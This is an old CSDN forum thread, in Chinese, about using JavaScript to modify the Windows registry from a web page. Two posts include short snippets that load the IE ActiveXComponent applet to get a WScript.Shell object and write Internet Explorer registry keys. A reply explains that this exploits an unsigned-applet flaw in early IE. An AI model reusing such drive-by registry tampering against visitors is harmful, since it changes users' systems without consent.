CSDN首页 空间 新闻 论坛 Blog 下载 读书 网摘 搜索 .NET Java 视频 接项目 求职 在线学习 买书 程序员 通知
花落谁家,你作主! 盛大widget设计大赛英雄榜
CSDN社区
搜索 收藏 打印 关闭
CSDN社区 >  Web 开发 >  JavaScript

Win2000下用js修改注册表,win98的代码放在Win2000下不能用,谢谢了

楼主Computer_lover(水中鱼)2002-01-09 17:40:42 在 Web 开发 / JavaScript 提问

问题点数:20、回复次数:6Top

1 楼vincentmax(天地任逍遥)回复于 2002-01-09 18:41:06 得分 0

????  
  这就是你的问题?  
  怎么我看不懂啊?Top

2 楼Computer_lover(水中鱼)回复于 2002-01-09 18:46:58 得分 0

怎样使这段代码Win2000下可用  
  ap=document.applets[0];  
  ap.setCLSID("WScript.Shell");  
  ap.createInstance();  
  S=ap.GetObject();  
  regWindowTitle="HKCU\\Software\\Microsoft\\Internet   Explorer\\Main\\Window   Title";  
  Top

3 楼shenleav(午枫)回复于 2002-01-09 20:03:55 得分 0

Computer_lover:  
  您好,问一个问题...  
  为什么我的机器运行到ap=document.applets[0]就会报错呢?说对象不支持这种属性或方法!  
  下面是我的代码:  
  <SCRIPT   language=JavaScript>    
  document.write("<applet   height=0   width=0   code=com.ms.activeX.ActiveXComponent>   ");      
  function   f(){  
  a1=document.applets[0];      
  a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");    
  a1.createInstance();    
  Shl   =   a1.GetObject();    
  Shl.RegWrite   ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet   Explorer\\PageSetup\\footer",   "com");      
  }  
  f();  
  </script>    
  请不吝赐教!!  
  email:  
  shenleave@163.netTop

4 楼bestext(木头)回复于 2002-01-10 02:00:09 得分 20

你的代码是利用IE的漏洞而修改注册表  
  你一定引用了一个com.ms.activeX.ActiveXComponent这样的applet  
  这个控件本来应该在签名的applet中使用,而不应该直接在网页引用  
  但是早期的IE版本忽略了这点  
  可能是你在win2000下使用了新的IE,与操作系统无关Top

5 楼Computer_lover(水中鱼)回复于 2002-01-10 08:09:39 得分 0

to   bestext:  
  那应该怎么做呢Top

6 楼shenleav(午枫)回复于 2002-01-10 09:52:04 得分 0

com.ms.activeX.ActiveXComponent这样的applet是ie自带的?ie5.0通过了这段代码...  
  多少版本以后才堵上了这个漏洞呢?Top

相关问题

  • JS如何修改注册表?
  • 注册表被网页恶意代码修改的问题
  • 如何使用代码修改注册表?
  • 怎样用JS写入和修改注册表?
  • 如何修改注册表???
  • 关于修改注册表。。。。
  • 关于修改注册表
  • 怎样修改注册表?
  • Delphi修改注册表
  • 如何修改注册表

关键词

  • win2000
  • 代码
  • ie
  • applet
  • ap

得分解答快速导航

  • 帖主:Computer_lover
  • bestext

相关链接

  • Web开发类图书

广告也精彩

反馈

请通过下述方式给我们反馈
反馈
提问
网站简介|广告服务|VIP资费标准|银行汇款帐号|网站地图|帮助|联系方式|诚聘英才|English|问题报告
北京创新乐知广告有限公司 版权所有, 京 ICP 证 070598 号
世纪乐知(北京)网络技术有限公司 提供技术支持
Copyright © 2000-2008, CSDN.NET, All Rights Reserved
GongshangLogo